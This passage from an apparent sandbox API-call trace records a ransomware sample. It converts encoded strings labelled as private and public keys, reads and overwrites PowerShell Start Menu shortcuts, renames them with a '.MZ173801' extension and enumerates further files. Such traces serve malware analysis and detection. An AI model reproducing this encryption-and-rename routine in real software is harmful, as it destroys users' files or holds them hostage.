K7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24be5cc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0199.583] GetCurrentThreadId () returned 0xab4 [0199.583] GetCurrentThreadId () returned 0xab4 [0199.583] GetCurrentThreadId () returned 0xab4 [0199.583] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0199.583] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24cf62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0199.584] GetCurrentThreadId () returned 0xab4 [0199.584] GetCurrentThreadId () returned 0xab4 [0199.584] GetCurrentThreadId () returned 0xab4 [0199.584] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell (x86).lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell (x86).lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0199.584] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0199.584] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0199.584] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x8bc [0199.584] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0199.584] ReadFile (in: hFile=0x330, lpBuffer=0x24d7430, nNumberOfBytesToRead=0x8bc, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d7430*, lpNumberOfBytesRead=0x19f480*=0x8bc, lpOverlapped=0x0) returned 1 [0199.603] CloseHandle (hObject=0x330) returned 1 [0199.604] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell (x86).lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell (x86).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0199.744] WriteFile (in: hFile=0x330, lpBuffer=0x24d9460*, nNumberOfBytesToWrite=0x8bc, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d9460*, lpNumberOfBytesWritten=0x19f48c*=0x8bc, lpOverlapped=0x0) returned 1 [0199.746] CloseHandle (hObject=0x330) returned 1 [0200.017] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell (x86).lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell (x86).lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell (x86).lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell (x86).lnk.mz173801")) returned 1 [0200.631] GetCurrentThreadId () returned 0xab4 [0200.631] GetCurrentThreadId () returned 0xab4 [0200.631] GetCurrentThreadId () returned 0xab4 [0200.631] GetCurrentThreadId () returned 0xab4 [0200.631] GetCurrentThreadId () returned 0xab4 [0200.631] GetCurrentThreadId () returned 0xab4 [0200.631] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210ad1cc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x96df2ecc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4fa, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Windows PowerShell ISE (x86).lnk", cAlternateFileName="WINDOW~3.LNK")) returned 1 [0200.631] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0200.631] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0200.631] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell ise (x86).lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210ad1cc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x96df2ecc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4fa)) returned 1 [0200.632] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell ise (x86).lnk")) returned 0x20 [0200.632] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk", dwFileAttributes=0x80) returned 1 [0200.834] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0200.834] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24be5cc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotF